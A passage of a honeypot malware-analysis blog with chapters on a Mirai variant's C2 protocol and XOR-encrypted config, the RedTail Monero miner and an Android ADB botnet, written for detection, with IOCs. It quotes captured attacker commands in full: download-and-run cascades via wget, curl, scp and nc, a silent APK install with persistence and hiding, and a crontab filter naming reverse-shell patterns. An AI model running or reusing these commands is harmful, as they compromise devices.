Time to crack it open with Ghidra. We pull out who the bot calls and what it's capable of so we can detect it and block it. The mechanics of the attacks — how each flood is fired — are left out: we catalogue the weapon, we don't hand it over. 01The encryption: a single byte The XorDDoS from Chapter 2 used a 16-byte XOR key and we had to decompile the routine to find it. This one is in another league — a lower one. Just looking at the encrypted strings gives the trick away: they all end in T (byte 0x54). the clue# encrypted string exactly as it comes out of the binary: ?5$$50;7=5z:1 T # XOR each byte with 0x54: ?5$$50;7=5z:1 T ⊕ 0x54 = kappadocia.net The config carries null terminators (\\0) at the end of each string, and 0 XOR key = key. That repeated T was the \\0 giving the key away: 0x54. A single-byte XOR. I didn't even need to fire up the decompiler — it decrypts straight from strings. A note, because it may jar: in the previous chapter that same domain was already showing up in plain sight in strings. What we didn't know then is that it also lives in here, inside the encrypted table — and it's this copy, the one the critter actually reads at startup, that we've just cracked open. 02The config laid bare I apply XOR 0x54 to the whole string table and it comes out clean. And with it, the critter's identity: decrypted config (XOR 0x54)# identity milnetv4 # botnet name/version .anime # tell-tale marker of the Mirai lineage # C2 kappadocia.net · 141.98.10.50 # behavior /dev/watchdog · /dev/misc/watchdog # disables the watchdog /proc/ /exe /maps /proc/net/tcp /proc/net/route /etc/resolv.conf · nameserver # resolves the C2 bash # attack Source Engine Query # the template for method 1 (VSE) assword # no P: catches \"Password:\" and \"password:\" alike The signature is unmistakably Mirai: the .anime string (marker of a known lineage) and the attack on /dev/watchdog — which disables the device's automatic reboot so it can't clean itself. The sweep of /proc lets it kill rival botnets and work out its own IP. The variant calls itself milnetv4. A note I didn't make at the time, and that I'm correcting here: the string table has two halves, and not everything the critter carries inside is encrypted. sshd, dropbear and /bin/sh live in the plaintext part; what's above goes through the XOR routine. bash is the only one that shows up in both. It isn't an oversight by the author: they're two different mechanisms — what exec() and the process-killing module consume directly doesn't need decrypting. And it reinforces the note from the previous section, because kappadocia.net is precisely one of the things that sits in both. 03The C2 protocol With the config in the clear, I decompiled the main loop in Ghidra. The bot connects to the C2, registers itself (architecture + milnetv4 + .anime) and sends a periodic heartbeat. Orders arrive with a length prefix: C2 order format[ 2 bytes big-endian = length ][ payload ] └ discarded if the length \u0026gt; 0x400 # the first 4 bytes decide the type: 0xFE → kill ALL attacks 0xFD → kill ONE attack by its id other → ATTACK order The attack order carries the duration, the vector id (less than 16), the target list (each one as IP + network prefix) and a list of options (port, size…). For each attack the bot does a fork() and stores the child process in a table — that's how it keeps up to 15 attacks running at once and can kill them individually with the 0xFD order. It's Mirai's architecture, piece by piece. And there's the reason the two control orders come in different sizes. The order is a four-byte word, so 0xFE — \"kill them all\" — takes four and needs nothing else. 0xFD takes eight because it carries the identifier of the attack to be stopped stuck on behind it. The asymmetry isn't a quirk of the format: it's that one of the two orders has to say which one. 04The arsenal: 16 methods The bot registers its attack methods in a {function, id} table. I recovered all 16 entries and classified each by the type of socket it opens and the headers it crafts. I present it as a defensive inventory — what it can do, so it can be recognized — without going into how any of them is executed: IDAttack type 0UDP flood (raw) 1UDP flood, small packet (games/VSE) 2DNS flood 3TCP flood (raw) 4TCP flood (ACK/PSH) 5TCP flood (STOMP) 6GRE flood (GRE-IP) 7GRE flood (GRE-ETH) 8UDP-PLAIN flood 9STD flood 10TCP flood (configurable flags) 11UDP flood, multi-socket 12TCP with data 13TCP connection flood 14Reverse shell to the C2 — not a flood 15HTTP flood (layer 7) A textbook catalogue: UDP (raw and plain), DNS, GRE, several flavours of TCP and a layer-7 HTTP flood. The hard evidence comes from the code itself — the type of socket and the protocol it asks for leave no room for doubt. Twelve architectures, one and the same arsenal: the table is identical across every binary, proof that they come from a single source. And then there's number 14, which doesn't fit that catalogue at all. The first fifteen all do the same thing in different wrapping: throw packets at somebody. Number 14 opens a reverse shell: it starts a fresh session, wires standard input, output and errors to a socket, and launches a command interpreter. That floods nobody — that's someone sitting down at the machine. And the best part is where it calls. Not some mystery address: the same place as always. It dials the very structure the bot fills in at start-up when it resolves its controller — the one that comes out of the XOR 0x54 from the previous section. Same IP, same port, same door. When the operator feels like it, the bot that's been chatting to its C2 all along opens it a /bin/sh down the same channel. A classic Mirai is a cannon: you tell it who to shoot at, and it shoots. This one also brings a chair. And if you've been following the numbers, there's something else to look at: the order in which they're registered. It goes: 0, 1, 2, 8, 3, 4, 5, 10, 6, 7, 9, 11, 12, 13, 14, 15. One of them sits in a place that doesn't match its number: udpplain had its label changed without being moved from its slot in the queue. The tcpxmas in eighth place is something else — not a renumbered veteran, but a newcomer that took a number somebody else left free. That's what's visible, and it's what holds up the conclusion: this isn't a trimmed-down Mirai, it's one with a remapped and stretched attack table. Stretched at the top, too — which is where 11, 12, 13, 14 and 15 live. The fingerprint, then, isn't in what's missing — nothing is. It's in the order, and in the fact that right at the top, where the original didn't reach, somebody added a chair. I opened the leaked 2016 code. There the table is filled with ten methods, in this order: 0, 1, 2, 9, 3, 4, 5, 6, 7, 10. Strip the six additions from ours and that exact sequence is what's left. Two labels change: udpplain drops from 9 to 8 — a number nobody used in the original — and HTTP climbs from 10 to 15, though it still goes in last. The two numbers left loose, 9 and 10, go to new methods. And the signature is a quirk. In the original, udpplain is registered fourth, out of order, on the pure whim of whoever wrote it in 2016. This thing, ten years later, still registers it fourth. That doesn't get reinvented by chance: it comes from there. And there's one last thing in the inventory that isn't for attacking anyone either. The bot carries a module that, on start-up, closes thirty-two ports on the machine it has just walked into. Telnet, HTTP and FTP among them; a collection of backdoor and IRC ports used by rival botnets; and three very specific ones — 53413 on Netcore boxes, 37215 on Huawei HG532s and 52869 on Realteks. All three are well-known front doors into network gear. The effect is that the device ends up harder to infect. By anyone else. And the first on that list is the one that says most: 48101, the port Mirai uses as its single-instance lock — the one a Mirai opens so another copy of itself can't pile in on top. This one kills whatever is listening there. Which is to say: it goes after other Mirai. Where I stopI know these vectors exist and how to recognize them in traffic; that's where I stay. Cataloguing the arsenal is defense; explaining how each flood is fired would be handing out weapons — and that's the line this log won't cross. Same goes for number 14: I'll tell you the reverse shell is there and what it does. The handshake that opens it, no. 05The thread that links back to the past The bug's plan B, in Ghidra. This function tries to resolve kappadocia.net over DNS; and if it comes back empty —domain down, DNS blocked, whatever— it goes straight to 141.98.10.50, which it carries written inside. Which means: taking its domain down doesn't disconnect it, because it knows the IP by heart. When DNS does answer and returns several addresses, it picks one at random: the decompiler ends that assignment with a % —the remainder of a division— which spreads the choice across the addresses returned. In the screenshot it sits right at the edge of the panel, half cut off. None of this shows up in strings; you have to read the code. Passive OSINT on the C2, without touching the machine. kappadocia.net resolves to 141.98.10.50. And that's where the surprise lands: The same neighbourhood as Chapter 2The C2 of the XorDDoS from Chapter 2 was 141.98.11.51. This Mirai calls 141.98.10.50. When I wrote this I said they shared the same 141.98.0.0/16 network, which is a very wide neighbourhood. It can be tightened a lot further. That XorDDoS domain didn't always point at 11.51: in June it resolved to 141.98.10.115. Which means that for a stretch, both families had their command server in the same /24, 141.98.10.0/24. And all three addresses — the Mirai one and the two XorDDoS ones — sit in the same place: AS209605. Two different families, two separate captures, and not a corner of the internet: a corridor. It's exactly the kind of thread that only turns up when you save and compare everything you catch. 06Indicators (IOCs) TypeValue FamilyMirai · \"milnetv4\" variant · \".anime\" marker C2kappadocia.net · 141.98.10.50 (AS209605, same as the Ch. 2 C2) Config encryptionXOR · 1-byte key 0x54 C2 protocollength-prefixed orders 2B BE · control 0xFE (4 B) / 0xFD (8 B, carrying the attack id) Capability16 methods (15 DDoS + 1 reverse shell to its own C2) · up to 15 concurrent attacks Ports it closes32, among them 48101 (Mirai's single-instance lock) · 23 · 80 · 21/20 · 53413 · 37215 · 52869 Status as of 11 September 2026kappadocia.net no longer resolves, and the delivery server from Chapter 3 has vanished. But 141.98.10.50 is still alive. It is, live, exactly what this chapter predicted three weeks earlier: taking its domain down doesn't disconnect it, because it carries the IP written inside. And that closes out the Mirai family — from the hot chase to the arsenal on the table, all of it to understand it and be able to stop it. With a rhyme I wasn't expecting: back in Chapter 1, the XorDDoS renamed wget and curl so that no other botnet could download anything on that machine. This one closes thirty-two ports, Mirai's own lock included. Two families that look nothing alike doing the same thing: marking territory. And the victim's device left, incidentally, a little safer — for everyone except whoever is already inside. To be continued — the bait's still on. When the next critter brings something new, there'll be a fifth chapter. 🍯","date":"2026-08","fam":"Mirai","n":4,"spec":"Mirai (milnetv4)","sum":"The bot from the last chapter kept its config encrypted and its orders under lock and key. Ghidra spills the lot: the decryption (a laughable XOR), the botnet's real name, its C2 protocol and its full arsenal — without handing out weapons.","t":"Mirai laid bare: 16 methods and a one-byte XOR","tags":["Ghidra","reverse engineering","C2","XOR","opcodes"],"tipo":"Botnet (DDoS)","url":"/en/chapter-4/"},{"body":"Third family in the trap, and the first that isn't a DDoS bot: this is a Monero miner. Its goal isn't to knock anyone offline, it's to steal CPU and mine crypto quietly. And the craftsmanship shows from the first second — where XorDDoS and Mirai leaned on wget and default credentials, this one came in on a password like everyone else — but brought the binary with its own key. This chapter is the catch: how it got in, how it fetched the binary, and how it cleaned house before settling in. The teardown of the miner itself goes in Chapter 6. 01The catch A bot, fast and methodical. It came in over SSH and in under two seconds had sized up the machine, written a key, fetched the binary, and wiped its tracks. 00:00.0Comes in over SSH (root, dictionary credential). Runs id and cat /etc/passwd — checks what it's on and who it's dealing with. 00:00.4Drops a beacon: echo -e \"\\x61\\x75\\x74\\x68\\x5F\\x6F\\x6B\" → in the clear, \"auth_ok\". It tells its orchestrator \"I'm in\". 00:00.6enable · system · shell · sh · bash — the sequence to break out of the restricted shells on routers and recorders. 00:01.5Writes an SSH key and an sshcfg, and uses them to scp the binary down from its server. Runs it, and signs off with another beacon: \"redtail_bot_telnet_ok\". The hex beaconsThe echo -e \"\\x...\" lines aren't decoration: the parent process orchestrating the infection reads those strings to know where each victim stands. auth_ok = I have a shell; redtail_bot_telnet_ok = infection via the \"telnet\" vector complete — and that \"telnet\" isn't the protocol it came in on (here it was SSH), it's the internal name RedTail gives this campaign vector, the one it hands the installer as an argument. Writing them in hex is a minor anti-analysis dodge — but they give away the family's name to anyone who decodes them. 02The delivery: with its own key Here's the mark of class. Instead of a wget out in the open, RedTail writes an SSH private key it carries embedded, sets up a config that switches off all verification, and pulls the installer down over SCP: delivery over SCP with embedded key# 1) writes its private key (ed25519) to key.ppk echo '-----BEGIN OPENSSH PRIVATE KEY----- ...# (ed25519 key, comment dlr@sftp) -----END OPENSSH PRIVATE KEY-----' \u0026gt; key.ppk # 2) ssh config that ignores host verification echo 'StrictHostKeyChecking no UserKnownHostsFile /dev/null' \u0026gt; sshcfg chmod 400 key.ppk # 3) fetches the installer 'sh' over SCP as the user dlr scp -F sshcfg -i key.ppk dlr@217.60.195[.]113:sh out_sh if [ $? -eq 0 ]; then chmod +x out_sh; sh out_sh telnet else # plan B: over HTTPS (wget --no-check-certificate -qO- hxxps://217.60.195[.]113/sh || curl -sk hxxps://217.60.195[.]113/sh) | sh -s telnet fi rm -rf sshcfg key.ppk out_sh # wipes the tracks Why all this ceremony to download a file? Stealth. An outbound SCP connection looks like legitimate SSH traffic — routine administration — whereas a wget http://…/critter stands out in any log or IDS. The key travels inside the malware itself, so every infected machine shares the same one; it grants download-only access to its delivery server (user dlr, as in downloader). And as you can see, if the SCP fails it has the wget/curl over HTTPS as a fallback. House ruleThe key exists and is sitting right there in the binary, but I'm not publishing it in full: its identity as an IOC is enough — it's an ed25519 with comment dlr@sftp. Share the indicator, not the weapon. 03The installer, with a brain The sh script (2.3 KB) it fetches is a good deal smarter than the droppers of the other families: Steers around noexec. Instead of trying folders blind, it lists the mounts flagged noexec (with findmnt) and excludes them from the search. Then it looks for a directory where it can both write and execute. Checks 2 MB will fit. Before picking a spot, it tries to write a 2 MB file — because the miner is large and it doesn't want to end up stranded halfway. Five exact architectures. It maps uname to x86_64 · i686 · aarch64 · arm7 · riscv — yes, RISC-V included. None of Mirai's 12-gauge scattergun: here it picks the right binary. Hidden name. It renames the binary to .\u0026lt;random\u0026gt; (with a leading dot, hidden) and launches it with the telnet vector. And one more thing, of the kind I like because it isn't a capability — it's an oversight. To name the binary, the installer reaches for several random generators, one after another in case one isn't there on the machine. If all of them fail, it has one last fallback line — and what it returns is this: the installer's last resortecho \"redtail\" The family name, written by its own author, in the one place nobody looks. And it isn't the only one: the build path baked into the miner is /var/build/redtail/, and the operator's working directory, /root/redtail/. Three separate places where he left the name. This critter didn't need a label putting on it: it comes with one from the factory. But before it installs itself, it does something that deserves a section of its own. 04Surgical cleanup of the competition The installer downloads and runs a clean script — and it's not a brute-force wipe, it's an eviction with a scalpel. It wants the whole machine to itself: clean · evict rivals# kills known rival miners by their service name systemctl disable c3pool_miner; systemctl stop c3pool_miner systemctl disable bot.service; systemctl stop bot.service # from EACH crontab, removes only the lines of OTHER critters... clean_file() { chattr -ia \"$1\" grep -vE 'wget|curl|/dev/tcp|/tmp|\\.sh|nc|bash -i|sh -i|base64 -d' \"$1\" \u0026gt; /tmp/x mv -f /tmp/x \"$1\" # ...leaving the legitimate ones untouched } # empties /tmp, /var/tmp, /dev/shm (the competition's payloads) Notice the grep -vE: it doesn't nuke the whole crontab, it filters out only the suspicious lines (the ones with wget, /dev/tcp, base64 -d… the usual patterns of another malware's persistence) and leaves the legitimate ones alone. It kills c3pool_miner (a known miner) by name, along with a generic bot.service. This is competition between criminals: the one who arrives throws out the last — but takes care not to break the machine it wants to squeeze. 05The specimen All captured over HTTPS. SPECIMEN 003 · scripts + ELF ×5 RedTail · Monero miner ◈ LIVE · DO NOT RUN Installerbash · 2,316 bytes Architecturesx86_64 · i686 · aarch64 · arm7 · riscv Miner size1.4 – 2 MB (static ELF, UPX) FunctionMonero miner (custom XMRig) DeliverySCP with embedded key + HTTPS SHA-256 installered23a8c75dc4f04acd8b68c51a0ebdb4d5cce6c06eed2451ebd0428a32d9df99 PieceSHA-256 clean3f3a11bafabb1a35db913cfe51995f2e357d049e268860175876ae5a93d23892 miner x86_64f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 miner aarch64d1cac82f44b54b0fd244a9e4122811e9ae108a197c7a65a20fd2e7552683e68e miner riscv3f3bf218089d1488617d37f8a5116bb2791eb39ce06a1b5bc9a4cdfe5e94dd39 I wrote above that this one plays in another league, and that's the kind of line you either back up or keep to yourself. Its decisions, lined up: It doesn't serve over HTTP. Port 80 returns a 403; only 443 delivers. And it does so with a filler self-signed certificate, the kind the default template ships with — O=Internet Widgits Pty Ltd. It isn't trying to look legitimate: it wants the traffic encrypted. The command server hides behind Cloudflare, on a hexadecimal subdomain of efabaz.xyz. Whoever looks up the IP sees Cloudflare, not him. The domain is brand new. Registered at Namecheap on 14 July, sixteen days before the first samples turned up in the public repositories. Infrastructure bought fresh for this campaign. And the rest we've already seen: delivery over SCP with its own key, an installer that dodges noexec, binaries packed with UPX and an encrypted config inside. None of those pieces is brilliant on its own. Together they sketch someone who has thought about who is going to look — which is exactly what the previous three critters did not. 06Indicators (IOCs) TypeValue Attacker IP103.46.186.105 Delivery server217.60.195.113 (user dlr · SCP + HTTPS) Embedded keyed25519 · comment dlr@sftp Beaconsauth_ok · redtail_bot_telnet_ok Rivals it killsc3pool_miner · bot.service Vectortelnet C2 domainefabaz.xyz (hexadecimal subdomain, behind Cloudflare) · registered at Namecheap on 14 Jul 2026 Delivery certificateself-signed · O=Internet Widgits Pty Ltd (default template) Family signaturesecho \"redtail\" (installer fallback) · /var/build/redtail/ · /root/redtail/ To be continued — the miner is packed and hides its wallet. In Chapter 6 I unpack it and open it up with Ghidra, as far as its author lets us go. 🍯","date":"2026-08","fam":"RedTail","n":5,"spec":"RedTail (Monero miner)","sum":"The previous critter kicked the door in with wget. This one walked in with an SSH key in its pocket, cleared the house of rival miners, and settled in with a professional's manners. It's RedTail, and it plays in a different league.","t":"The intruder who brought his own key","tags":["honeypot","cryptojacking","Monero","Cowrie"],"tipo":"Miner (cryptojacking)","url":"/en/chapter-5/"},{"body":"In Chapter 5 I caught RedTail letting itself in with its own key. Now for the binary: unpack it and open it in Ghidra with a clear goal — to pull out its mining pool and its Monero wallet. Honest spoiler: the answer isn't a number, it's why that number isn't there. The aim is to find where the money goes and what it depends on, so it can be detected and cut off. 01Peeling off the wrapper The binaries came packed with UPX and with no section headers — which is what happens to any ELF packed with UPX, not a trick of theirs. upx -d doesn't need them: it decompresses using its own structures. upx -d$ upx -d x86_64 -o x86_64.unpacked File size Ratio Format Name -------------------- ------ ----------- ----------- 5199952 \u0026lt;- 1989056 38.25% linux/amd64 x86_64.unpacked Unpacked 1 file. From 2 MB compressed to 5.2 MB in the clear. Wrapper off, time to look inside. 02It's a custom XMRig The strings in the clean binary leave no doubt: RandomX, cryptonight, donate.v2.xmrig.com… it's a fork of the open-source miner XMRig. But with two additions that give it away as RedTail: A library of its own, libredtail, with evbuffer_tls — its TLS network layer for talking to the C2. The author's build path, embedded: /var/build/redtail/scripts/x86_64-build/ — with hwloc 2.14.0, snappy 1.2.2, abseil-cpp. A modern, well-kept build environment. The project is called, literally, \"redtail\". What they haven't touched is the engine. XMRig's whole core is still in there: the five RandomX variants (rx/0, rx/2, rx/arq, rx/aH, rx/af), thirteen CryptoNight ones and the three argon2 flavours (chukwa, ninja, wrkz), with support for Monero, Graft, Wownero, Zephyr, Townforge, Sumokoin, Arqma and Ravencoin. A miner capable of all that, dedicated to a single coin. Hold on to that detail, because in section 06 it explains rather a lot. A slip that humanisesThat path /var/build/redtail/… is the working directory of whoever compiled it, baked into the binary by accident. It isn't a wallet or a C2, but it's one of those crumbs that, cross-referenced with other samples, help you cluster campaigns. 03Hunting the loot — and the wall With the binary open, I went after the pool and the wallet down every path. One by one, they all hit a wall: An embedded encrypted blob? Entropy scan of the 5.2 MB → zero high-entropy regions. There's no hidden encrypted block. The pool/wallet in the clear? No. The only plaintext is XMRig's own templates (stratum+ssl://%s) and its default donate domains. An IP or domain of its own? Not one. I even searched for the delivery IP (217.60.195.113) as text and as raw bytes in every ordering. Not there. Some odd config parser? No: it's the standard XMRig JSON parser. The miner expects to receive a config, it doesn't carry one. Ghidra confirmed what the strings hinted at: the functions that build the pool URL (Pool::parse, stratum+tcp/ssl) are the same old XMRig ones, fed by a configuration that arrives from outside. 04The verdict: the wallet isn't there, by design Putting the pieces together — a TLS layer of its own (libredtail), no encrypted blob, no embedded pool/wallet/C2, standard config parser — the conclusion is clear and it's RedTail's signature: The answerRedTail doesn't keep its pool or its wallet in the binary. It asks its command server for them on the fly, encrypted over libredtail's TLS channel, at startup. What in XorDDoS and Mirai sat inside (even if encrypted), here simply doesn't exist in the file. There's no number to extract with static analysis — because the author made sure there wasn't one. This is what separates RedTail from off-the-shelf malware: the others hid the secret inside and it was enough to read it properly (Chapters 2 and 4). RedTail doesn't hide the secret: it doesn't carry it at all. Knock over its C2 and the miners already deployed are left with nowhere to send the money — but they won't tell you either. A heads-upThat was the conclusion that day, and I'm leaving it as it stands because that's how it went. But I came back to the binary weeks later and it didn't hold up entirely: section 06 tells what I found when I pushed harder, and where I'd fallen short. If you're skimming, don't miss that ending. 05Where the line is Actually pulling out the wallet would demand one of two routes, and both are off the table: Run it in an isolated lab and watch which C2 it calls and what config it decrypts. That's the route that would give the answer — but it's a live miner, and running it crosses the line of this diary (and puts the machine at risk). Not done. A far deeper trace of how libredtail builds the C2 address (probably assembled in memory piece by piece). Hours of reverse engineering, with no guaranteed prize. I'd rather tell you what we know for sure — that the data isn't there, and why — than force an answer. Acknowledging the wall is part of the craft too. 06I went back — and the wall moved I went back to the binaryEverything above stands exactly as I wrote it that day. But I went back to the binary, and while I haven't won, I have shifted the line by a good few metres. And I found out that on one important point I was wrong. AWhat the rest of the world says The first thing I did was what I should have done earlier: check whether anyone had been down this road. The answer surprised me. Nobody has ever published how to decrypt RedTail's configuration. And it isn't that I searched badly: Akamai say so in writing. They're the reference for this family, and their report explains that they pulled the pools by looking at the miner's memory while it was already running, \"avoiding the lengthy process of reverse engineering the decryption\". In other words: they hit the same wall and went around it. There's more. Malpedia, the reference catalogue, doesn't have a single detection rule for RedTail. There's no configuration extractor in any public framework. And the detail that struck me most: in two years not one single Monero wallet from this family has been published. Not one. What is constant across all its known infrastructure is port 2137. Cold comfort, but comfortKnowing that the wall that stopped you is the same one the professionals went around doesn't knock it down, but it changes the reading. I wasn't being clumsy: I was standing in front of a problem the industry has left open. BWhere I got it wrong Above I wrote, with great confidence, that RedTail \"asks its command server for them on the fly\". I now think that's wrong, and the evidence was right in front of me. XMRig, the legitimate miner RedTail is a modified copy of, is configured by command line or by file. It has keys for everything: url, algo, coin, config… I went looking for them in RedTail's binary and a handful are missing — but not the ones I said. Counted over the raw bytes: nineteen remain, url among them, and six are gone. And it's that six that tells the story, because it isn't a random amputation. Missing are config, coin, algo, user, cpu and tls: exactly the ones that would let you steer it. Without config it reads no configuration file. Without coin or algo you can't switch its currency. And without user you can't put another wallet on it. The operational ones — threads, huge pages, retries, logging — are all still there. They didn't take away its interface: they took away the steering wheel. Think about that for a second: this miner has had the ability to be configured from outside surgically removed. And why would anyone do that? If the configuration arrived from the C2, there'd be no need to delete anything — the miner could keep accepting parameters and it wouldn't matter. You amputate when the data is inside and you don't want anyone changing it, reading it, or swapping in their own. And that matches what Akamai and the other firms hold: the configuration is embedded and encrypted, and gets decrypted in memory at startup. And the clean entropy scan from section 03? No contradiction: that sweep was coarse-grained, built to find big blocks — and a config blob is so small next to 5.2 MB of binary that it never breaks the surface. My conclusion that it came from the C2 rested on a single source that now looks thin. CWhat I have ruled out If the data is inside and encrypted, the next question is with what. And here I do bring something nobody had published. It isn't XOR. Not a single-byte key, not a repeating one, and I don't say that on a hunch. There's a neat statistical test for this: if you take ordinary text and encrypt it with a repeating key, then compare the result against itself shifted by exactly the key length, the top bit of every byte always comes out zero. In random data it comes out zero half the time. So you can sweep a whole file looking for that signature without knowing the key. I ran it over every data section of the binary, testing key lengths from 1 to 40. Not one region tests positive. The only hits were false ones, and rather charming: conversion tables, lists of numbers… and a chunk of Lorem ipsum that comes from the test suite of one of the libraries it links in. A negative is a result too\"It isn't XOR\" sounds like small change, but it narrows things a lot. It rules out the technique the overwhelming majority of this malware uses — Chapters 2 and 4 were both solved that way — and leaves only real cryptography. RedTail plays in Sysorbit's league, not XorDDoS's. DThe map, as far as I got And here's the ground gained, for whoever comes next — myself included: the route, as far as I have it0x415b60 main # not the one the decompiler claims: you have to # read the startup assembly to find it 0x446e8c ... # calls the loader with the config already built 0x4457c0 loader # reads the \"pools\" key and builds the targets 0x460ba0 Pool # uses \"rig-id\" and \"self-select\" 0x459e80 reconnect # handles the pool's \"client.reconnect\" ??? decryption # \u0026lt;- this is where I stopped The missing piece is in the middle: whatever turns those encrypted bytes into the JSON the loader reads. And I don't have it for two concrete reasons. The first is that the loader isn't called directly but through a pointer table, so the trail breaks and has to be rebuilt by hand. The second is brute force: it's 5.2 MB of heavily optimised C++ with OpenSSL and half a dozen libraries inside, and the decompiler chokes — it hands back functions full of blocks it can't resolve. From there on it's reading raw assembly, and that runs at hours per function. 07Why I'm leaving it here (for now) This wall isn't like the wallet one. That was final: the data doesn't exist in the file, and no amount of reverse engineering extracts what isn't there. This one is different — it's a wall made of cost. The data is in there, I know which way leads to it, and what's missing is hours. Many of them. And I've chosen to tell you like this, map half-drawn, rather than lock it in a drawer until it's complete. For two reasons. One, because what's been ruled out is useful too: if somebody picks this up, they no longer have to waste a morning trying XOR. And two, because it seems more honest to show an investigation as it really is — open, with ground gained and ground still to gain — than to pretend chapters come out finished on the first pass. The binary isn't going anywhere. I'll be back. How the game endedI came back. It's told in Chapter 15, and it didn't go the way I expected: I built a cage, switched the miner on and pulled the configuration out of its memory — but by then the family had been documented top to bottom for over a year, and the piece I thought I'd decrypted turned out to do something else. The map above stays exactly as it was, holes and all: it was true the day I wrote it. 08Indicators (IOCs) TypeValue FamilyRedTail · Monero miner (XMRig fork) PackingUPX with section headers wiped Own librarylibredtail (TLS / evbuffer_tls) Build path/var/build/redtail/scripts/x86_64-build/ Configembedded and encrypted · NOT XOR (ruled out statistically) Amputated interfacethe 6 keys that would let you steer it are gone: config · coin · algo · user · cpu · tls (19 remain, url among them) EngineXMRig core, complete: RandomX ×5 · CryptoNight ×13 · argon2 ×3 Their pools' port2137 (constant across the family's known infrastructure) SHA-256 (miner x86_64)f0aa83bbbd2c75e2f71ec16029ee5fcfad59f3a8efa30a500b815f0f6c18d987 Status as of 11 September 2026This campaign hasn't gone quiet: it's still arriving at my bait. Between 27 August and 11 September, cowrie logged eighteen deliveries of each of its five binaries — redtail.x86_64, redtail.riscv, redtail.i686, redtail.arm8 and redtail.arm7 — and the delivery server 217.60.195.113 is still alive. More than five weeks serving the same binaries, without recompiling. Compare that with the Mirai from Chapter 4: three weeks in, its domain was dead and its delivery server had vanished. (Incidentally: the operator calls the aarch64 build arm8.) And the honest summary of this chapter is that the wallet isn't there, that the \"it isn't XOR\" still stands, and that the wall which stopped me was one of cost, not of impossibility — what gets ruled out also serves whoever tries next. To be continued — the bait's still lit. When the next critter brings something new, there'll be a seventh chapter. 🍯","date":"2026-08","fam":"RedTail","n":6,"spec":"RedTail (Monero miner)","sum":"We unpack RedTail's miner and crack it open in Ghidra hunting for the pool and the wallet. What we find is more interesting than a number: the data is in there, embedded and encrypted — and nobody has published how to crack it.","t":"The miner that hides its wallet","tags":["Ghidra","reverse engineering","XMRig","UPX","cryptojacking"],"tipo":"Miner (cryptojacking)","url":"/en/chapter-6/"},{"body":"The previous three families —XorDDoS, Mirai, RedTail— went after Linux servers. This one goes after something else: a phone. The honeypot has port 5555 open, the ADB port (Android Debug Bridge) — Android's debugging channel. When it's left exposed to the internet, it's an open, password-free door into an Android device. And someone found it. This chapter is the catch; the teardown of the APK is in Chapter 8. 01The catch A bot scanning port 5555. The moment the honeypot accepted the ADB connection, it fired off a single giant command — an Android shell that does everything in one go. To capture the sample, the honeypot itself downloaded the APK the command asked for. 00:00.0Connects to 5555 from 176.65.139.248. ADB asks for no password: straight in. 00:00.3Uninstalls the competition — a list of rival Android bots — and cleans out /data/local/tmp. 00:00.3Downloads its APK (sysorbit.apk) from its own server, installs it granting every permission, starts the service, and hides it from the app list. 02The command, laid bare All on one line. I've broken it into stages so it can be read, but it arrived all at once: AEvicting the previous tenants Before installing itself, it uninstalls other Android bots that might already be on the device. It wants the phone all to itself — the same war between crooks we saw in RedTail, but on Android. stage-A · evict rivalspm uninstall com.manji.bot 2\u0026gt;/dev/null pm uninstall com.iranbot.load 2\u0026gt;/dev/null pm uninstall com.android.log_handler_v2 2\u0026gt;/dev/null pm uninstall com.oreo.mcflurry 2\u0026gt;/dev/null pm uninstall com.google.android.pms.update 2\u0026gt;/dev/null # fake \"pms\" pm uninstall com.google.android.gms.update 2\u0026gt;/dev/null # fake \"gms\" pm uninstall com.andriodakb.registerrs 2\u0026gt;/dev/null # \"andriod\" pm uninstall com.driots.sevice 2\u0026gt;/dev/null # \"sevice\" pm uninstall com.kbot.loadd 2\u0026gt;/dev/null # \"loadd\" pm uninstall com.meowrisee.service 2\u0026gt;/dev/null pm uninstall io.toy.zae 2\u0026gt;/dev/null rm -rf /data/local/tmp/* 2\u0026gt;/dev/null Look at those namesEleven rival packages, and four with typos: sevice, andriod, loadd, registerrs. They're not mine from transcribing — that's how they came in over the cable, and I checked them again against the original log before publishing. It says a lot about the craft: whoever maintains that list jots down the competition's names like someone scribbling a shopping list, and never rereads it. And com.google.android.pms.update —\"pms\" instead of \"gms\"— is probably another bot trying to pass for Google and getting the letter wrong. BFetching the APK — with a safety net It downloads sysorbit.apk from 176.65.139.248, trying every tool an Android might have (busybox, toolbox, toybox, wget, curl) and, if nothing works, nc to a spare port. The same stubborn cascade as the Mirai loader. stage-B · cascading downloadbusybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk || toybox wget hxxp://176.65.139[.]248/sysorbit.apk -O /data/local/tmp/x.apk || curl hxxp://176.65.139[.]248/sysorbit.apk -o /data/local/tmp/x.apk || busybox nc 176.65.139[.]248 30254 \u0026gt; /data/local/tmp/x.apk # last resort CInstall, launch and hide It installs with -g (all permissions at once), launches the bot service, registers itself to start after a reboot, and hides itself from the app list. By the time the phone's owner looks, there's no new icon. stage-C · install + hidepm install -r -g /data/local/tmp/x.apk # -g = grants ALL permissions am start-foreground-service -n com.sysorbit.service.security/.BotService am broadcast -a android.intent.action.BOOT_COMPLETED \\ -n com.sysorbit.service.security/.RestartReceiver # persistence pm hide com.sysorbit.service.security # vanishes from the list rm -rf /data/local/tmp/x.apk The disguiseThe package is called com.sysorbit.service.security — \"security service\" — and once inside it presents itself as a \"Google Play Service Updates\" notification. Innocuous name, a system-sync icon, and pm hide to finish the job. All designed so nobody comes looking for it. Nobody typed this command tonightWhen I opened the binary in Chapter 8 I found this very sequence —the download cascade, the pm install, the service launch— hidden inside the malware itself. It isn't an attacker typing it at each victim: every infected phone repeats it against others on its own, without waiting for orders from anyone. What came in through my port 5555 isn't an intruder, it's an infected device hunting for the next one. And one detail that made me laugh: the rival list the binary uninstalls by itself isn't the same as the one in this command. It carries two packages that don't appear here. Somebody updated one copy and forgot the other. 03The specimen The APK the honeypot captured. SPECIMEN 004 · APK Sysorbit · Android botnet ◈ LIVE · DO NOT RUN Typesigned APK · 707 KB Packagecom.sysorbit.service.security Packingminimal DEX + native libraries (UPX) FunctionAndroid DDoS bot C2encrypted in the binary — cracked open in Ch. 8 SHA-25631de5c5d0a3483e831e4f9348d46b3c5309177a7f9d6da537fc970f57f103901 House ruleThe APK is not published; the hash is. With that SHA-256 anyone can identify it on VirusTotal or MalwareBazaar without me handing out the beast. 04Indicators (IOCs) TypeValue Attacker / distribution IP176.65.139.248 (HTTP /sysorbit.apk · nc :30254) Entry routeADB · port 